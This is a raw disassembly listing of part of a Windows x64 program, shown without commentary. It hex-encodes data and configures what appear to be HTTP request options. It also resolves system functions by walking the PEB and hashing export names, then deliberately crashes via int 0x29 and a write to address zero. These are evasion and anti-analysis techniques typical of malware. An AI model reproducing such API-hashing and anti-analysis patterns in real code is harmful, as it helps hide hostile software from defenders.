mov qword [rsp + 0xae8], rax
mov r9, qword [rsp + 0xad8]
mov r8, qword [rsp + 0xae0]
mov rdx, qword [rsp + 0xae8]
lea rcx, [rsp + 0x1510]
call fcn.14009d390
nop
lea rax, [rsp + 0x12b0]
lea rdx, [rsp + 0x1510]
mov rcx, rax
call fcn.1400ba050
xor edx, edx
lea rcx, [rsp + 0x1510]
call fcn.140102af0
lea rcx, [rsp + 0x1460]
call fcn.140107e80
mov byte [rsp + 0x12d0], 0
lea rcx, [rsp + 0x1510]
call fcn.1401056b0
nop
lea rcx, [rsp + 0x1460]
call fcn.140105190
lea rax, [rsp + 0x12b0]
mov rdx, rax
lea rcx, [rsp + 0xf38]
call fcn.14003fa30
mov eax, dword [rsp + 0x30]
bts eax, 0x12
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0xf38]
mov qword [rsp + 0xaf0], rax
lea rax, [rsp + 0x1010]
mov rdi, rax
mov rsi, qword [rsp + 0xaf0]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
rep movsb byte [rdi], byte [rsi]
lea r8, [rsp + 0x1010]
mov edx, 0x27c1
mov rcx, qword [rsp + 0x80]
call fcn.14012e900
lea rcx, [rsp + 0xf38]
call fcn.1401056b0
movzx eax, byte [rsp + 0x12d0]
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x1401108dc
lea rcx, [rsp + 0x1530]
call fcn.1400b78f0
nop
lea rax, [rsp + 0x12b0]
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0x518], rax
mov rax, qword [rsp + 0x398]
cmp qword [rax + 0x18], 0xf
jbe 0x140110755
mov dword [rsp + 0x1cc], 1
jmp 0x140110760
mov dword [rsp + 0x1cc], 0
movzx eax, byte [rsp + 0x1cc]
mov byte [rsp + 0x61], al
movzx eax, byte [rsp + 0x61]
test eax, eax
je 0x140110798
mov rax, qword [rsp + 0x398]
mov rax, qword [rax]
mov qword [rsp + 0xaf8], rax
mov rax, qword [rsp + 0xaf8]
mov qword [rsp + 0x518], rax
mov rax, qword [rsp + 0x518]
mov qword [rsp + 0xb00], rax
mov rax, qword [rsp + 0xb00]
mov qword [rsp + 0x290], rax
mov rcx, qword [rsp + 0x520]
call fcn.140105b00
mov qword [rsp + 0xb08], rax
jmp 0x1401107e2
mov rax, qword [rsp + 0x290]
inc rax
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0xb08]
cmp qword [rsp + 0x290], rax
je 0x1401108af
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0xb10], rax
mov rax, qword [rsp + 0xb10]
movzx eax, byte [rax]
mov byte [rsp + 0x62], al
movzx eax, byte [rsp + 0x62]
mov r8d, eax
lea rdx, str._02x
lea rcx, [rsp + 0x12a4]
call fcn.14005c110
lea rax, [rsp + 0x12a4]
mov qword [rsp + 0xb18], rax
mov qword [rsp + 0x298], 0xffffffffffffffff
inc qword [rsp + 0x298]
mov rax, qword [rsp + 0xb18]
mov rcx, qword [rsp + 0x298]
cmp byte [rax + rcx], 0
jne 0x14011084f
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0xb20], rax
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0xb28], rax
mov r8, qword [rsp + 0xb28]
lea rdx, [rsp + 0x12a4]
lea rcx, [rsp + 0x1530]
call fcn.140095400
jmp 0x1401107cf
lea rax, [rsp + 0x12b0]
lea rdx, [rsp + 0x1530]
mov rcx, rax
call fcn.1400ba050
mov byte [rsp + 0x12d0], 1
lea rcx, [rsp + 0x1530]
call fcn.1401056b0
lea rax, [rsp + 0x12b0]
mov rdx, rax
lea rcx, [rsp + 0x1070]
call fcn.14003fa30
mov eax, dword [rsp + 0x30]
bts eax, 0x14
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x1070]
call fcn.1401056b0
mov r8d, 1
mov edx, 0x51
mov rcx, qword [rsp + 0x80]
call fcn.14012e900
mov rax, qword [rsp + 0x3d8]
mov rcx, rax
call fcn.1401045d0
mov qword [rsp + 0xb30], rax
mov r8, qword [rsp + 0xb30]
mov edx, 0x271f
mov rcx, qword [rsp + 0x80]
call fcn.14012e900
lea r8, [0x14012bd40]
mov edx, 0x4e2b
mov rcx, qword [rsp + 0x80]
call fcn.14012e900
lea r8, [rsp + 0x15d0]
mov edx, 0x2711
mov rcx, qword [rsp + 0x80]
call fcn.14012e900
lea r8, [0x1401151f0]
mov edx, 0x4e6f
mov rcx, qword [rsp + 0x80]
call fcn.14012e900
lea r8, [rsp + 0x1670]
mov edx, 0x272d
mov rcx, qword [rsp + 0x80]
call fcn.14012e900
mov rcx, qword [rsp + 0x80]
call fcn.14012c1c0
mov dword [rsp + 0x31c], eax
lea r8, [rsp + 0x1290]
mov edx, 0x100001
mov rcx, qword [rsp + 0x80]
call fcn.14012c0d0
cmp dword [rsp + 0x31c], 0
jne 0x140110d0b
cmp qword [rsp + 0x1290], 0
je 0x140110d0b
mov rdx, qword [rsp + 0x1290]
lea rcx, [rsp + 0x1090]
call fcn.1400b7450
mov qword [rsp + 0xb38], rax
mov rax, qword [rsp + 0xb38]
mov qword [rsp + 0xb40], rax
mov eax, dword [rsp + 0x30]
bts eax, 0xd
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xb40]
mov qword [rsp + 0xb98], rax
movzx eax, byte [rsp + 0x12d0]
mov byte [rsp + 0x63], al
movzx eax, byte [rsp + 0x63]
test eax, eax
je 0x140110c90
mov edx, Ordinal_26
lea rcx, [rsp + 0x1448]
call fcn.140105bf0
lea rcx, [rsp + 0x1448]
call fcn.1400b8420
nop
mov rax, qword [rsp + 0x12c0]
mov qword [rsp + 0xb48], rax
xor edx, edx
mov rax, qword [rsp + 0xb48]
mov ecx, 2
div rcx
mov rdx, rax
lea rcx, [rsp + 0x1448]
call fcn.140125710
mov qword [rsp + 0x2a0], 0
jmp 0x140110ade
mov rax, qword [rsp + 0x2a0]
add rax, 2
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x12c0]
mov qword [rsp + 0xb50], rax
mov rax, qword [rsp + 0xb50]
cmp qword [rsp + 0x2a0], rax
jae 0x140110ba3
lea rax, [rsp + 0x12b0]
mov qword [rsp + 0xb58], rax
lea rax, [rsp + 0x13c]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8, qword [rsp + 0x2a0]
mov rdx, qword [rsp + 0xb58]
lea rcx, [rsp + 0x1550]
call fcn.1400b7190
mov eax, dword [rsp + 0x30]
bts eax, 0x16
mov dword [rsp + 0x30], eax
mov r8d, reloc.WS2_32.dll_recv
xor edx, edx
lea rcx, [rsp + 0x1550]
call fcn.1401289b0
mov byte [rsp + 0x1298], al
lea rdx, [rsp + 0x1298]
lea rcx, [rsp + 0x1448]
call fcn.1400a3790
xor edx, edx
lea rcx, [rsp + 0x1550]
call fcn.140102af0
nop
lea rcx, [rsp + 0x1550]
call fcn.1401056b0
jmp 0x140110aca
lea rax, [rsp + 0x13b]
mov qword [rsp + 0xb70], rax
lea rdx, [rsp + 0xde8]
lea rcx, [rsp + 0x1448]
call fcn.140113140
mov rax, qword [rax]
mov qword [rsp + 0xb60], rax
mov rax, qword [rsp + 0xb60]
mov qword [rsp + 0xb78], rax
lea rdx, [rsp + 0xdf0]
lea rcx, [rsp + 0x1448]
call fcn.1401064b0
mov rax, qword [rax]
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0xb68]
mov qword [rsp + 0xb80], rax
mov r9, qword [rsp + 0xb70]
mov r8, qword [rsp + 0xb78]
mov rdx, qword [rsp + 0xb80]
lea rcx, [rsp + 0x1570]
call fcn.14009d390
nop
lea rax, [rsp + 0x12b0]
lea rdx, [rsp + 0x1570]
mov rcx, rax
call fcn.1400ba050
xor edx, edx
lea rcx, [rsp + 0x1570]
call fcn.140102af0
lea rcx, [rsp + 0x1448]
call fcn.140107e80
mov byte [rsp + 0x12d0], 0
lea rcx, [rsp + 0x1570]
call fcn.1401056b0
nop
lea rcx, [rsp + 0x1448]
call fcn.140105190
lea rax, [rsp + 0x12b0]
mov rdx, rax
lea rcx, [rsp + 0xf18]
call fcn.14003fa30
mov eax, dword [rsp + 0x30]
bts eax, 0x15
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0xf18]
mov qword [rsp + 0xb88], rax
mov eax, dword [rsp + 0x30]
bts eax, 0xe
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xb88]
mov qword [rsp + 0xb90], rax
xor r8d, r8d
mov rdx, qword [rsp + 0xb90]
mov rcx, qword [rsp + 0xb98]
call fcn.140114a10
cmp rax, 0xffffffffffffffff
je 0x140110d0b
mov dword [rsp + 0x1d0], 0
jmp 0x140110d16
mov dword [rsp + 0x1d0], 1
movzx eax, byte [rsp + 0x1d0]
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x30]
and eax, 0x4000
test eax, eax
je 0x140110d45
and dword [rsp + 0x30], 0xffffbfff
lea rcx, [rsp + 0xf18]
call fcn.1401056b0
nop
mov eax, dword [rsp + 0x30]
and eax, 0x2000
test eax, eax
je 0x140110d67
and dword [rsp + 0x30], 0xffffdfff
lea rcx, [rsp + 0x1090]
call fcn.1401056b0
movzx eax, byte [rsp + 0x64]
test eax, eax
je 0x140111a59
movzx eax, byte [rsp + 0x12d0]
mov byte [rsp + 0x65], al
movzx eax, byte [rsp + 0x65]
test eax, eax
jne 0x140110f6e
lea rcx, [rsp + 0x1590]
call fcn.1400b78f0
nop
lea rax, [rsp + 0x12b0]
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x528], rax
mov rax, qword [rsp + 0x300]
cmp qword [rax + 0x18], 0xf
jbe 0x140110de7
mov dword [rsp + 0x1d4], 1
jmp 0x140110df2
mov dword [rsp + 0x1d4], 0
movzx eax, byte [rsp + 0x1d4]
mov byte [rsp + 0x66], al
movzx eax, byte [rsp + 0x66]
test eax, eax
je 0x140110e2a
mov rax, qword [rsp + 0x300]
mov rax, qword [rax]
mov qword [rsp + 0xba0], rax
mov rax, qword [rsp + 0xba0]
mov qword [rsp + 0x528], rax
mov rax, qword [rsp + 0x528]
mov qword [rsp + 0xba8], rax
mov rax, qword [rsp + 0xba8]
mov qword [rsp + 0x2a8], rax
mov rcx, qword [rsp + 0x530]
call fcn.140105b00
mov qword [rsp + 0xbb0], rax
jmp 0x140110e74
mov rax, qword [rsp + 0x2a8]
inc rax
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0xbb0]
cmp qword [rsp + 0x2a8], rax
je 0x140110f41
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0xbb8], rax
mov rax, qword [rsp + 0xbb8]
movzx eax, byte [rax]
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0x67]
mov r8d, eax
lea rdx, str._02x
lea rcx, [rsp + 0x12a8]
call fcn.14005c110
lea rax, [rsp + 0x12a8]
mov qword [rsp + 0xbc0], rax
mov qword [rsp + 0x2b0], 0xffffffffffffffff
inc qword [rsp + 0x2b0]
mov rax, qword [rsp + 0xbc0]
mov rcx, qword [rsp + 0x2b0]
cmp byte [rax + rcx], 0
jne 0x140110ee1
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0xbc8], rax
mov rax, qword [rsp + 0xbc8]
mov qword [rsp + 0xbd0], rax
mov r8, qword [rsp + 0xbd0]
lea rdx, [rsp + 0x12a8]
lea rcx, [rsp + 0x1590]
call fcn.140095400
jmp 0x140110e61
lea rax, [rsp + 0x12b0]
lea rdx, [rsp + 0x1590]
mov rcx, rax
call fcn.1400ba050
mov byte [rsp + 0x12d0], 1
lea rcx, [rsp + 0x1590]
call fcn.1401056b0
lea rax, [rsp + 0x12b0]
mov rdx, rax
lea rcx, [rsp + 0x10b0]
call fcn.14003fa30
mov eax, dword [rsp + 0x30]
bts eax, 0x17
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x10b0]
call fcn.1401056b0
mov rcx, qword [rsp + 0x80]
call fcn.14012c0b0
xor ecx, ecx
int 0x29
mov dword [rsp + 0x32c], 0
mov rax, qword [rsp + 0xe00]
mov qword [rsp + 0x3a0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0xbd8], rax
mov rax, qword [rsp + 0xbd8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xbe0], rax
mov rax, qword [rsp + 0xbe0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0xbe8], rax
mov rax, qword [rsp + 0xbe8]
mov qword [rsp + 0x1288], rax
mov rax, qword [rsp + 0x1288]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x2b8], rax
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x1368], rax
mov rax, qword [rsp + 0x2b8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x2b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf0], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0xbf0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x538], rax
mov eax, dword [rsp + 0x538]
mov rcx, qword [rsp + 0x2b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1370], rax
mov eax, dword [rsp + 0x53c]
mov dword [rsp + 0x1378], eax
mov rax, qword [rsp + 0x1368]
cmp qword [rsp + 0x1370], rax
je 0x1401110c5
mov dword [rsp + 0x1d8], 1
jmp 0x1401110d0
mov dword [rsp + 0x1d8], 0
movzx eax, byte [rsp + 0x1d8]
mov byte [rsp + 0x68], al
movzx eax, byte [rsp + 0x68]
test eax, eax
je 0x1401112dd
mov rax, qword [rsp + 0x1370]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x94], eax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x320], eax
mov eax, dword [rsp + 0x94]
dec eax
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x320], 0
je 0x1401112dd
mov eax, dword [rsp + 0x6a4]
mov dword [rsp + 0x1dc], eax
movabs rax, 0x1cc38b974189599
shr rax, 0x20
mov dword [rsp + 0x1dc], eax
mov rax, qword [rsp + 0xe18]
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x1370]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x1368]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0x94]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x1368]
mov qword [rsp + 0x540], rax
movabs rax, 0x1cc38b974189599
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x324], eax
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0x390], rax
mov eax, dword [rsp + 0x1dc]
mov dword [rsp + 0x15c], eax
mov rax, qword [rsp + 0x390]
movzx eax, byte [rax]
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0x390]
inc rax
mov qword [rsp + 0x390], rax
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0x3a], al
movsx eax, byte [rsp + 0x3a]
test eax, eax
jne 0x140111208
mov eax, dword [rsp + 0x15c]
mov dword [rsp + 0x328], eax
jmp 0x140111252
xor eax, eax
test eax, eax
je 0x14011121f
movsx eax, byte [rsp + 0x3a]
or eax, 0x20
mov dword [rsp + 0x1e0], eax
jmp 0x14011122b
movsx eax, byte [rsp + 0x3a]
mov dword [rsp + 0x1e0], eax
mov eax, dword [rsp + 0x1e0]
mov ecx, dword [rsp + 0x15c]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x15c], eax
jmp 0x1401111c4
mov eax, dword [rsp + 0x324]
cmp dword [rsp + 0x328], eax
jne 0x1401112d8
mov rax, qword [rsp + 0x1370]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x1368]
mov qword [rsp + 0xc00], rax
mov rax, qword [rsp + 0x1370]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x1368]
mov qword [rsp + 0xbf8], rax
mov eax, dword [rsp + 0x94]
mov rcx, qword [rsp + 0xbf8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0xc00]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x1368]
mov qword [rsp + 0xc08], rax
mov rax, qword [rsp + 0xc08]
mov qword [rsp + 0x3a0], rax
jmp 0x14011132e
jmp 0x1401110fb
mov rax, qword [rsp + 0x1288]
mov qword [rsp + 0xc10], rax
mov rax, qword [rsp + 0xc10]
mov rax, qword [rax]
mov qword [rsp + 0xc18], rax
mov rax, qword [rsp + 0xc18]
mov qword [rsp + 0x1288], rax
mov byte [rsp + 0x6a], 1
movzx eax, byte [rsp + 0x6a]
test eax, eax
jne 0x140111014
mov qword [rsp + 0x3a0], 0
mov eax, dword [rsp + 0x32c]
mov dword [rsp + 0x330], eax
mov ecx, dword [rsp + 0x330]
call qword [rsp + 0x3a0]
mov dword [rsp + 0x340], 0
mov rax, qword [rsp + 0xe20]
mov qword [rsp + 0x3b8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0xc20], rax
mov rax, qword [rsp + 0xc20]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xc28], rax
mov rax, qword [rsp + 0xc28]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0xc30], rax
mov rax, qword [rsp + 0xc30]
mov qword [rsp + 0x1280], rax
mov rax, qword [rsp + 0x1280]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x1380], rax
mov rax, qword [rsp + 0x2c0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x2c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc38], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0xc38]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x548], rax
mov eax, dword [rsp + 0x548]
mov rcx, qword [rsp + 0x2c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1388], rax
mov eax, dword [rsp + 0x54c]
mov dword [rsp + 0x1390], eax
mov rax, qword [rsp + 0x1380]
cmp qword [rsp + 0x1388], rax
je 0x14011145f
mov dword [rsp + 0x1e4], 1
jmp 0x14011146a
mov dword [rsp + 0x1e4], 0
movzx eax, byte [rsp + 0x1e4]
mov byte [rsp + 0x6b], al
movzx eax, byte [rsp + 0x6b]
test eax, eax
je 0x140111677
mov rax, qword [rsp + 0x1388]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xa8], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x334], eax
mov eax, dword [rsp + 0xa8]
dec eax
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0x334], 0
je 0x140111677
mov eax, dword [rsp + 0x6a8]
mov dword [rsp + 0x1e8], eax
movabs rax, 0x94307023a09b6328
shr rax, 0x20
mov dword [rsp + 0x1e8], eax
mov rax, qword [rsp + 0xe28]
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x1388]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x1380]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xa8]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x1380]
mov qword [rsp + 0x550], rax
movabs rax, 0x94307023a09b6328
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x338], eax
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0x3a8], rax
mov eax, dword [rsp + 0x1e8]
mov dword [rsp + 0x174], eax
mov rax, qword [rsp + 0x3a8]
movzx eax, byte [rax]
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x3a8]
inc rax
mov qword [rsp + 0x3a8], rax
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x3b], al
movsx eax, byte [rsp + 0x3b]
test eax, eax
jne 0x1401115a2
mov eax, dword [rsp + 0x174]
mov dword [rsp + 0x33c], eax
jmp 0x1401115ec
xor eax, eax
test eax, eax
je 0x1401115b9
movsx eax, byte [rsp + 0x3b]
or eax, 0x20
mov dword [rsp + 0x1ec], eax
jmp 0x1401115c5
movsx eax, byte [rsp + 0x3b]
mov dword [rsp + 0x1ec], eax
mov eax, dword [rsp + 0x1ec]
mov ecx, dword [rsp + 0x174]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x174], eax
jmp 0x14011155e
mov eax, dword [rsp + 0x338]
cmp dword [rsp + 0x33c], eax
jne 0x140111672
mov rax, qword [rsp + 0x1388]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x1380]
mov qword [rsp + 0xc48], rax
mov rax, qword [rsp + 0x1388]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x1380]
mov qword [rsp + 0xc40], rax
mov eax, dword [rsp + 0xa8]
mov rcx, qword [rsp + 0xc40]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0xc48]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x1380]
mov qword [rsp + 0xc50], rax
mov rax, qword [rsp + 0xc50]
mov qword [rsp + 0x3b8], rax
jmp 0x1401116c8
jmp 0x140111495
mov rax, qword [rsp + 0x1280]
mov qword [rsp + 0xc58], rax
mov rax, qword [rsp + 0xc58]
mov rax, qword [rax]
mov qword [rsp + 0xc60], rax
mov rax, qword [rsp + 0xc60]
mov qword [rsp + 0x1280], rax
mov byte [rsp + 0x6d], 1
movzx eax, byte [rsp + 0x6d]
test eax, eax
jne 0x1401113ae
mov qword [rsp + 0x3b8], 0
mov eax, dword [rsp + 0x340]
mov dword [rsp + 0x344], eax
mov ecx, dword [rsp + 0x344]
call qword [rsp + 0x3b8]
mov rax, qword gs:[0x60]
mov qword [rsp + 0xc68], rax
mov rax, qword [rsp + 0xc68]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xc70], rax
mov rax, qword [rsp + 0xc70]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0xc78], rax
mov rax, qword [rsp + 0xc78]
mov qword [rsp + 0x1278], rax
mov rax, qword [rsp + 0x1278]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x2c8], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x1398], rax
mov rax, qword [rsp + 0x2c8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x2c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc80], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0xc80]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x558], rax
mov eax, dword [rsp + 0x558]
mov rcx, qword [rsp + 0x2c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x13a0], rax
mov eax, dword [rsp + 0x55c]
mov dword [rsp + 0x13a8], eax
mov rax, qword [rsp + 0x1398]
cmp qword [rsp + 0x13a0], rax
je 0x1401117de
mov dword [rsp + 0x1f0], 1
jmp 0x1401117e9
mov dword [rsp + 0x1f0], 0
movzx eax, byte [rsp + 0x1f0]
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x6e]
test eax, eax
je 0x1401119f6
mov rax, qword [rsp + 0x13a0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xa4], eax
mov eax, dword [rsp + 0xa4]
mov dword [rsp + 0x348], eax
mov eax, dword [rsp + 0xa4]
dec eax
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0x348], 0
je 0x1401119f6
mov eax, dword [rsp + 0x6ac]
mov dword [rsp + 0x1f4], eax
movabs rax, 0x2ee2d305684b1b39
shr rax, 0x20
mov dword [rsp + 0x1f4], eax
mov rax, qword [rsp + 0xe30]
mov qword [rsp + 0x560], rax
mov rax, qword [rsp + 0x13a0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x1398]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xa4]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x1398]
mov qword [rsp + 0x560], rax
movabs rax, 0x2ee2d305684b1b39
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x34c], eax
mov rax, qword [rsp + 0x560]
mov qword [rsp + 0x3c0], rax
mov eax, dword [rsp + 0x1f4]
mov dword [rsp + 0x164], eax
mov rax, qword [rsp + 0x3c0]
movzx eax, byte [rax]
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x3c0]
inc rax
mov qword [rsp + 0x3c0], rax
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x3c], al
movsx eax, byte [rsp + 0x3c]
test eax, eax
jne 0x140111921
mov eax, dword [rsp + 0x164]
mov dword [rsp + 0x350], eax
jmp 0x14011196b
xor eax, eax
test eax, eax
je 0x140111938
movsx eax, byte [rsp + 0x3c]
or eax, 0x20
mov dword [rsp + 0x1f8], eax
jmp 0x140111944
movsx eax, byte [rsp + 0x3c]
mov dword [rsp + 0x1f8], eax
mov eax, dword [rsp + 0x1f8]
mov ecx, dword [rsp + 0x164]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x164], eax
jmp 0x1401118dd
mov eax, dword [rsp + 0x34c]
cmp dword [rsp + 0x350], eax
jne 0x1401119f1
mov rax, qword [rsp + 0x13a0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x1398]
mov qword [rsp + 0xc90], rax
mov rax, qword [rsp + 0x13a0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x1398]
mov qword [rsp + 0xc88], rax
mov eax, dword [rsp + 0xa4]
mov rcx, qword [rsp + 0xc88]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0xc90]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x1398]
mov qword [rsp + 0xc98], rax
mov rax, qword [rsp + 0xc98]
mov qword [rsp + 0x568], rax
jmp 0x140111a47
jmp 0x140111814
mov rax, qword [rsp + 0x1278]
mov qword [rsp + 0xca0], rax
mov rax, qword [rsp + 0xca0]
mov rax, qword [rax]
mov qword [rsp + 0xca8], rax
mov rax, qword [rsp + 0xca8]
mov qword [rsp + 0x1278], rax
mov byte [rsp + 0x70], 1
movzx eax, byte [rsp + 0x70]
test eax, eax
jne 0x14011172d
mov qword [rsp + 0x568], 0
call qword [rsp + 0x568]
mov dword [0], 0xdead
movzx eax, byte [rsp + 0x12d0]
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x71]
test eax, eax
jne 0x140111c53
lea rcx, [rsp + 0x15b0]
call fcn.1400b78f0
nop
lea rax, [rsp + 0x12b0]
mov qword [rsp + 0x578], rax
mov rax, qword [rsp + 0x578]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x3d0]
cmp qword [rax + 0x18], 0xf
jbe 0x140111acc
mov dword [rsp + 0x1fc], 1
jmp 0x140111ad7
mov dword [rsp + 0x1fc], 0
movzx eax, byte [rsp + 0x1fc]
mov byte [rsp + 0x72], al
movzx eax, byte [rsp + 0x72]
test eax, eax
je 0x140111b0f
mov rax, qword [rsp + 0x3d0]
mov rax, qword [rax]
mov qword [rsp + 0xcb0], rax
mov rax, qword [rsp + 0xcb0]
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x570]
mov qword [rsp + 0xcb8], rax
mov rax, qword [rsp + 0xcb8]
mov qword [rsp + 0x2d0], rax
mov rcx, qword [rsp + 0x578]
call fcn.140105b00
mov qword [rsp + 0xcc0], rax
jmp 0x140111b59
mov rax, qword [rsp + 0x2d0]
inc rax
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0xcc0]
cmp qword [rsp + 0x2d0], rax
je 0x140111c26
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0xcc8], rax
mov rax, qword [rsp + 0xcc8]
movzx eax, byte [rax]
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x73]
mov r8d, eax
lea rdx, str._02x
lea rcx, [rsp + 0x129c]
call fcn.14005c110
lea rax, [rsp + 0x129c]
mov qword [rsp + 0xcd0], rax
mov qword [rsp + 0x2d8], 0xffffffffffffffff
inc qword [rsp + 0x2d8]
mov rax, qword [rsp + 0xcd0]
mov rcx, qword [rsp + 0x2d8]
cmp byte [rax + rcx], 0
jne 0x140111bc6
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0xcd8], rax
mov rax, qword [rsp + 0xcd8]
mov qword [rsp + 0xce0], rax
mov r8, qword [rsp + 0xce0]
lea rdx, [rsp + 0x129c]
lea rcx, [rsp + 0x15b0]
call fcn.140095400
jmp 0x140111b46
lea rax, [rsp + 0x12b0]
lea rdx, [rsp + 0x15b0]
mov rcx, rax
call fcn.1400ba050
mov byte [rsp + 0x12d0], 1
lea rcx, [rsp + 0x15b0]
call fcn.1401056b0
lea rax, [rsp + 0x12b0]
mov rdx, rax
lea rcx, [rsp + 0x10d0]
call fcn.14003fa30
mov eax, dword [rsp + 0x30]
bts eax, 0x18
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x10d0]
call fcn.1401056b0
mov rcx, qword [rsp + 0x80]
call fcn.14012c0b0
lea rdx, [rsp + 0x15d0]
lea rcx, [rsp + 0x1490]
call fcn.1400b70d0
mov eax, dword [rsp + 0x30]
bts eax, 0xc
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x12b0]
call fcn.1400b9cc0
nop
lea rcx, [rsp + 0x1670]
call fcn.1401056b0
nop
lea rcx, [rsp + 0x15d0]
call fcn.1401056b0
nop
